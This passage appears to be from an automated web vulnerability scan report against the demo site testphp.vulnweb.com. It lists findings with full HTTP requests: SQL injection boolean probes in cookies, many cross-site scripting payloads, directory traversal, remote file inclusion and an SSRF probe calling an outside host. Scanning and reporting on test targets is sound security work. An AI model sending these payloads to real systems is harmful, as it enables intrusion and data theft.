- -1' OR 2+1-1-1=1 AND 000365=000365 -- => **TRUE**
- -1' OR 000365=000365 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000365=000365 -- => **FALSE**
- -1' OR 3*2=6 AND 000365=000365 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000365=000365 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000365=000365 -- => **TRUE**

Original value: 1

Request headers

GET /guestbook.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000365=000365%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive

Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/product.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000496=000496 --

Tests performed:

- -1' OR 2+496-496-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+496-496-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+496-496) -- => **FALSE**
- -1' OR 3*2>(0+5+496-496) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000496=000496 -- => **TRUE**
- -1' OR 000496=000496 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000496=000496 -- => **FALSE**
- -1' OR 3*2=6 AND 000496=000496 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000496=000496 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000496=000496 -- => **TRUE**

Original value: 1

Request headers

GET /product.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000496=000496%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/listproducts.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 00049=00049 --

Tests performed:

- -1' OR 2+49-49-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+49-49-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+49-49) -- => **FALSE**
- -1' OR 3*2>(0+5+49-49) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 00049=00049 -- => **TRUE**
- -1' OR 00049=00049 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 00049=00049 -- => **FALSE**
- -1' OR 3*2=6 AND 00049=00049 -- => **TRUE**
- -1' OR 3*2*0=6 AND 00049=00049 -- => **FALSE**
- -1' OR 3*2*1=6 AND 00049=00049 -- => **TRUE**

Original value: 1

Request headers

GET /listproducts.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%2000049=00049%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

! Cross site scripting

Severity	High
Reported by module	Scripting (XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

[Acunetix Cross Site Scripting Attack](http://www.acunetix.com/websitesecurity/cross-site-scripting.htm) (<http://www.acunetix.com/websitesecurity/cross-site-scripting.htm>)
[VIDEO: How Cross-Site Scripting \(XSS\) Works](http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/) (<http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/>)
[The Cross Site Scripting Faq](http://www.cgisecurity.com/xss-faq.html) (<http://www.cgisecurity.com/xss-faq.html>)
[OWASP Cross Site Scripting](http://www.owasp.org/index.php/Cross_Site_Scripting) (http://www.owasp.org/index.php/Cross_Site_Scripting)
[XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
[Cross site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting) (http://en.wikipedia.org/wiki/Cross-site_scripting)
[OWASP PHP Top 5](http://www.owasp.org/index.php/PHP_Top_5) (http://www.owasp.org/index.php/PHP_Top_5)
[How To: Prevent Cross-Site Scripting in ASP.NET](http://msdn.microsoft.com/en-us/library/ms998274.aspx) (<http://msdn.microsoft.com/en-us/library/ms998274.aspx>)

Affected items

/hpp/params.php
Details
URL encoded GET input p was set to valid'"()&%<acx><ScRiPt >MhcX(9034)</ScRiPt>
Request headers
GET /hpp/params.php?p=valid'"()&%26%25<acx><ScRiPt%20>MhcX(9034)</ScRiPt>&pp=12 HTTP/1.1 Referer: http://testphp.vulnweb.com Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/hpp/params.php
Details
URL encoded GET input pp was set to 12'"()&%<acx><ScRiPt >MhcX(9989)</ScRiPt>
Request headers
GET /hpp/params.php?p=valid&pp=12'"()&%26%25<acx><ScRiPt%20>MhcX(9989)</ScRiPt> HTTP/1.1 Referer: http://testphp.vulnweb.com Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive

Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/search.php

Details

URL encoded POST input **searchFor** was set to **1'''()&%<acx><ScRiPt >w8xr(9270)</ScRiPt>**

Request headers

POST /search.php?test=1 HTTP/1.1
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=1'''()%26%25<acx><ScRiPt%20>w8xr(9270)</ScRiPt>

/guestbook.php

Details

URL encoded POST input **name** was set to **anonymous%20user'''()&%<acx><ScRiPt >VLKY(9161)</ScRiPt>**

Request headers

POST /guestbook.php HTTP/1.1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
submit=add%20message&name=anonymous%2520user'''()%26%25<acx><ScRiPt%20>VLKY(9161)</ScRiPt>&text=1

/guestbook.php

Details

URL encoded POST input **text** was set to **1'''()&%<acx><ScRiPt >VLKY(9285)</ScRiPt>**

Request headers

POST /guestbook.php HTTP/1.1
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
submit=add%20message&name=anonymous%20user&text=1'''()%26%25<acx><ScRiPt%20>VLKY(9285)</ScRiPt>

/hpp

Details

URL encoded GET input **pp** was set to **12'''()&%<acx><ScRiPt >xltO(9433)</ScRiPt>**

Request headers

GET /hpp/?pp=12'''()%26%25<acx><ScRiPt%20>xltO(9433)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/listproducts.php

Details

URL encoded GET input **cat** was set to **1'"()&%<acx><ScRiPt >Nmye(9442)</ScRiPt>**

Request headers

GET /listproducts.php?artist=1&cat=1'"()&%26%25<acx><ScRiPt%20>Nmye(9442)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/comment.php

Details

URL encoded POST input **name** was set to **<your%20name%20here>'()"&%<acx><ScRiPt >fbZS(9175)</ScRiPt>**

Request headers

POST /comment.php HTTP/1.1
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Submit=Submit&comment=1&name=<your%2520name%2520here>'()"&%26%25<acx><ScRiPt%20>fbZS(9175)</ScRiPt>&phpaction=echo%20%24_POST[comment];

/secured/newuser.php

Details

URL encoded POST input **uaddress** was set to **3137%20Laguna%20Street'"()&%<acx><ScRiPt >crVz(9662)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1
Content-Length: 240
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%2520Laguna%2520Street'"()&%26%25<acx><ScRiPt%20>crVz(9662)</ScRiPt>&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=mrykumnf&uuname=mrykumnf

/secured/newuser.php

Details

URL encoded POST input **ucc** was set to **4111111111111111'"()&%<acx><ScRiPt >crVz(9283)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111'()%26%25<acx>
<ScRiPt%20>crVz(9283)
</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=55
5-666-0606&urname=wsohlfcn&uuname=wsohlfcn

/secured/newuser.php

Details

URL encoded POST input **uemail** was set to **sample%40email.tst'()%&%<acx><ScRiPt >crVz(9195)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%2540email.t
st'()%26%25<acx><ScRiPt%20>crVz(9195)
</ScRiPt>&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=etjfwqap&uuname=etjfwqap

/secured/newuser.php

Details

URL encoded POST input **uphone** was set to **555-666-0606'()%&%<acx><ScRiPt >crVz(9380)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606'()%26%25<acx>
<ScRiPt%20>crVz(9380)</ScRiPt>&urname=useprgvn&uuname=useprgvn

/secured/newuser.php

Details

URL encoded POST input **urname** was set to **useprgvn'()%&%<acx><ScRiPt >crVz(9781)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3

Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=useprgvn'"
() %26%25<acx><ScRiPt%20>crVz (9781) </ScRiPt>&uuname=vfqajanp

/secured/newuser.php

Details

URL encoded POST input **uuname** was set to **vfqajanp'"()&%<acx><ScRiPt >crVz(9076)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=rgevktvy&uuname=vfqajanp '" () %26%25<acx><ScRiPt%20>crVz (9076) </ScRiPt>

/hpp/index.php

Details

URL encoded GET input **pp** was set to **12'"()&%<acx><ScRiPt >bBHh(9192)</ScRiPt>**

Request headers

GET /hpp/index.php?pp=12'" () %26%25<acx><ScRiPt%20>bBHh (9192) </ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/listproducts.php

Details

URL encoded GET input **artist** was set to **3'"()&%<acx><ScRiPt >Zbcv(9894)</ScRiPt>**

Request headers

GET /listproducts.php?artist=3'" () %26%25<acx><ScRiPt%20>Zbcv (9894) </ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/guestbook.php

Details

Cookie input **login** was set to **1"onmouseover=JZdQ(9401)"**

The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /guestbook.php HTTP/1.1
Cookie: login=1"onmouseover=JZdQ(9401)"; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/showxml.php

Details

Cookie input **mycookie** was set to **3'"()&%<acx><ScRiPt >ZWef(9403)</ScRiPt>**

Request headers

```
GET /AJAX/showxml.php HTTP/1.1
Cookie: mycookie=3'"()&%<acx><ScRiPt%20>ZWef(9403)</ScRiPt>
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/404.php

Details

URI was set to **1<ScRiPt>1Elu(9932)</ScRiPt>**
The input is reflected inside a text element.

Request headers

```
GET /404.php?1<ScRiPt>1Elu(9932)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Directory traversal

Severity	High
Reported by module	Scripting (Directory_Traversal.script)

Description

This script is possibly vulnerable to directory traversal attacks.

Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.

Impact

By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server.

Recommendation

Your script should filter metacharacters from user input.

References

[Acunetix Directory Traversal Attacks](http://www.acunetix.com/websitesecurity/directory-traversal/) (<http://www.acunetix.com/websitesecurity/directory-traversal/>)

Affected items

/showimage.php
Details
URL encoded GET input file was set to 1ACUSTARTFILE/../../../../xxx\..\..\ACUENDFILE
Request headers
GET /showimage.php?file=1ACUSTARTFILE/../../../../xxx%5c..%5c..%5cACUENDFILE HTTP/1.1 Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect: enabled Referer: http://testphp.vulnweb.com Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

! Macromedia Dreamweaver remote database scripts

Severity	High
Reported by module	Scripting (Dreamweaver_Scripts.script)

Description

Macromedia Dreamweaver has created a directory (_mmServerScripts or _mmDBScripts) that contains scripts for testing database connectivity. One of these scripts (mmhttpdb.php or mmhttpdb.asp) can be accessed without user ID or password and contains numerous operations, such as listing Datasource Names or executing arbitrary SQL queries.

Impact

It is possible to execute arbitrary SQL queries and list datasource names.

Recommendation

Remove these directories from production systems.

References

[NGSSoftware advisory \(http://www.net-security.org/vuln.php?id=3376\)](http://www.net-security.org/vuln.php?id=3376)
[CVE-2004-1893 \(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1893\)](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1893)

Affected items

Web Server
Details
Macromedia Dreamweaver scripts found at : //_mmServerScripts/MMHTTPDB.php
Request headers
GET //_mmServerScripts/MMHTTPDB.php HTTP/1.1 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

! nginx SPDY heap buffer overflow

Severity	High
Reported by module	Scripting (Version_Check.script)

Description

A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the "spdy" option of the "listen" directive is used in a configuration file.

Impact

An attacker can cause a heap memory buffer overflow in a worker process by using a specially crafted request, potentially resulting in arbitrary code execution

Recommendation

Upgrade nginx to the latest version or apply the patch provided by the vendor.

References

[nginx security advisory \(CVE-2014-0133\)](http://mailman.nginx.org/pipermail/nginx-announce/2014/000135.html) (<http://mailman.nginx.org/pipermail/nginx-announce/2014/000135.html>)
[nginx patch](http://nginx.org/download/patch.2014.spdy2.txt) (<http://nginx.org/download/patch.2014.spdy2.txt>)
[CVE-2014-0133](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0133) (<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0133>)

Affected items

Web Server
Details
Current version is : nginx/1.4.1.
Request headers

PHP allow_url_fopen enabled (AcuSensor)

Severity	High
Reported by module	

Description

The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering.

allow_url_fopen is enabled by default.

Impact

Application dependant - possible remote file inclusion.

Recommendation

You can disable allow_url_fopen from php.ini or .htaccess.

php.ini

allow_url_fopen = 'off'

.htaccess

php_flag allow_url_fopen off

Affected items

Web Server
Details
Current setting is : allow_url_fopen = On
Request headers

! Remote file inclusion XSS

Severity	High
Reported by module	Scripting (Remote_File_Inclusion_XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. The server opens arbitrary URLs and puts the content retrieved from the URL into the response without filtering.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your server side code should verify if the URL from the user input is allowed to be retrieved and displayed or filter the response from the URL according to the context in which it is displayed.

References

[Acunetix Cross Site Scripting Attack](http://www.acunetix.com/websitesecurity/cross-site-scripting.htm) (<http://www.acunetix.com/websitesecurity/cross-site-scripting.htm>)
[VIDEO: How Cross-Site Scripting \(XSS\) Works](http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/) (<http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/>)
[The Cross Site Scripting Faq](http://www.cgisecurity.com/xss-faq.html) (<http://www.cgisecurity.com/xss-faq.html>)
[OWASP Cross Site Scripting](http://www.owasp.org/index.php/Cross_Site_Scripting) (http://www.owasp.org/index.php/Cross_Site_Scripting)
[XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
[Cross site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting) (http://en.wikipedia.org/wiki/Cross-site_scripting)
[OWASP PHP Top 5](http://www.owasp.org/index.php/PHP_Top_5) (http://www.owasp.org/index.php/PHP_Top_5)
[How To: Prevent Cross-Site Scripting in ASP.NET](http://msdn.microsoft.com/en-us/library/ms998274.aspx) (<http://msdn.microsoft.com/en-us/library/ms998274.aspx>)

Affected items

/showimage.php
Details
URL encoded GET input file was set to http://testasp.vulnweb.com/t/xss.html?%00.jpg
Request headers
GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg HTTP/1.1 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

! Script source code disclosure

Severity	High
Reported by module	Scripting (Script_Source_Code_Disclosure.script)

Description

It is possible to read the source code of this script by using script filename as a parameter. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to launch further attacks.

Recommendation

Analyze the source code of this script and solve the problem.

References

[Source Code Disclosure](http://www.imperva.com/resources/glossary?term=source_code_disclosure) (http://www.imperva.com/resources/glossary?term=source_code_disclosure)

Affected items

/showimage.php
Details
URL encoded GET input file was set to showimage.php Pattern found:
<pre><?php // header("Content-Length: 1" /*. filesize(\$name)*/); if(isset(\$_GET["file"]) && !isset(\$_GET["size"])){ // open the file in a binary mode header("Content-Type: image/jpeg"); \$name = \$_GET["file"]; \$fp = fopen(\$name, 'rb'); // send the right headers header("Content-Type: image/jpeg"); // dump the picture and stop the script fpassthru(\$fp); exit; } elseif (isset(\$_GET["file"]) && isset(\$_GET["size"])){ header("Content-Type: image/jpeg"); \$name = \$_GET["file"]; \$fp ...</pre>
Request headers
GET /showimage.php?file=showimage.php HTTP/1.1 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

! Server side request forgery

Severity	High
Reported by module	Scripting (Server_Side_Request_Forgery.script)

Description

SSRF as in Server Side Request Forgery is a vulnerability that allows an attacker to force server interfaces into sending packets initiated by the victim server to the local interface or to another server behind the firewall. Consult Web References for more information about this problem.

Impact

The impact varies according to the affected server interface.

Recommendation

Your script should properly sanitize user input.

References

[SSRF VS. BUSINESS-CRITICAL APPLICATIONS](https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf) (https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)

Affected items

/showimage.php
Details
URL encoded GET input file was set to http://hitDboPkB8twp.bxss.me/
An HTTP request was initiated for the domain hitDboPkB8twp.bxss.me which indicates that this script is vulnerable to SSRF.
HTTP request details:
IP address: 176.28.50.165 User agent:
Request headers
GET /showimage.php?file=http://hitDboPkB8twp.bxss.me/ HTTP/1.1 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

! SQL injection

Severity	High
Reported by module	Scripting (Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

[Acunetix SQL Injection Attack](http://www.acunetix.com/websitesecurity/sql-injection.htm) (<http://www.acunetix.com/websitesecurity/sql-injection.htm>)
[VIDEO: SQL Injection tutorial](http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/) (<http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/>)
[OWASP Injection Flaws](http://www.owasp.org/index.php/Injection_Flaws) (http://www.owasp.org/index.php/Injection_Flaws)
[How to check for SQL injection vulnerabilities](http://www.acunetix.com/websitesecurity/sql-injection2/) (<http://www.acunetix.com/websitesecurity/sql-injection2/>)
[SQL Injection Walkthrough](http://www.securiteam.com/securityreviews/5DP0N1P76E.html) (<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>)
[OWASP PHP Top 5](http://www.owasp.org/index.php/PHP_Top_5) (http://www.owasp.org/index.php/PHP_Top_5)

Affected items

/search.php
Details
URL encoded GET input test was set to 1ACUSTART'"RBch2ACUEND
Request headers
POST /search.php?test=1ACUSTART'"RBch2ACUEND HTTP/1.1 Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect: enabled Content-Length: 11 Content-Type: application/x-www-form-urlencoded Referer: http://testphp.vulnweb.com Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* searchFor=1
/search.php
Details
URL encoded POST input searchFor was set to 1ACUSTART'"E9Mv6ACUEND
Request headers
